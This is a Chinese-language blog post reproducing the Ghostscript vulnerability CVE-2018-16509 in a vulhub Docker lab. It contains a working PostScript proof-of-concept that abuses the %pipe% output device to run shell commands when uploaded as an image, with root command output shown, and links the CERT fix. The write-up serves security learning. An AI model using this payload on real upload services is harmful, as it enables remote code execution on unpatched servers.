🍬 博主介绍
👨🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!
文章目录
- 🍬 博主介绍
- 一、漏洞编号
- 二、影响范围
- 三、漏洞描述
- 四、环境搭建
- 1、进入CVE-2018-16509环境
- 2、启动CVE-2018-16509环境
- 3、查看CVE-2018-16509环境
- 4、访问CVE-2018-16509环境
- 5、查看CVE-2018-16509漏洞提示信息
- 6、关闭CVE-2018-16509环境
- 五、漏洞复现
- 1、POC
- 2、执行id
- 1.访问漏洞页面
- 2.构造执行ls的poc
- 3.上传poc.png
- 4.命令执行成功
- 3、执行touch /tmp/PowerShell.txt
- 1.访问漏洞页面
- 2.构造创建文件的poc
- 3.上传poc.png
- 4.命令执行成功
- 六、漏洞修复
- 七、相关资源
一、漏洞编号
CVE-2018-16509
二、影响范围
Ghostscript 9.24之前版本
三、漏洞描述
Ghostscript 是一套基于 Adobe、PostScript 及可移植文档格式(PDF)的页面描述语言等而编译成的免费软件。Ghostscript 可以查看及打印 PS、EPS、PDF 文件,支持 PS 的绘图程序一般都很大。以Postscript和PDF阅览器使用的栅格化影像处理器RIP引擎,GhostScript 被许多图片处理库所使用。在文件上传过程中,有可能会用GhostScript来处理图片。
CVE-2018-16509是由于GhostScript在处理/invalidaccess异常时,程序没有正确的检测restoration of privilege(权限恢复),导致攻击者可通过提交特制的PostScript利用该漏洞执行代码。
四、环境搭建
1、进入CVE-2018-16509环境
cd vulhub/ghostscript/CVE-2018-16509
2、启动CVE-2018-16509环境
docker-compose up -d
3、查看CVE-2018-16509环境
docker-compose ps
4、访问CVE-2018-16509环境
访问ip+端口
http://192.168.233.128:8080/
5、查看CVE-2018-16509漏洞提示信息
cat README.md
6、关闭CVE-2018-16509环境
复现完记得关闭环境
docker-compose down
五、漏洞复现
1、POC
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%命令 > /tmp/success && cat /tmp/success) currentdevice putdeviceprops
2、执行id
1.访问漏洞页面
http://192.168.233.128:8080/
2.构造执行ls的poc
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%ls > /tmp/success && cat /tmp/success) currentdevice putdeviceprops
3.上传poc.png
上传poc.png,将执行命令id > /tmp/success && cat /tmp/success,将id这个命令写入到success这个文件中,并且查看这个文件
4.命令执行成功
回显出id信息
Image size is: uid=0(root) gid=0(root) groups=0(root)
3、执行touch /tmp/PowerShell.txt
1.访问漏洞页面
http://192.168.233.128:8080/
2.构造创建文件的poc
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%touch /tmp/PowerShell.txt > /tmp/success && cat /tmp/success) currentdevice putdeviceprops
3.上传poc.png
4.命令执行成功
无回显
进入容器查看,文件创建成功
docker ps
docker exec -it 容器id /bin/bash
ls /tmp
六、漏洞修复
目前最全的修复方案参考
https://www.kb.cert.org/vuls/id/332928
七、相关资源
1、docker 搭建 vulhub 靶场环境
2、[ vulhub漏洞复现篇 ] vulhub 漏洞集合 - 表格版本(含漏洞复现文章连接)
3、[ vulhub漏洞复现篇 ] vulhub 漏洞集合(含漏洞复现文章连接)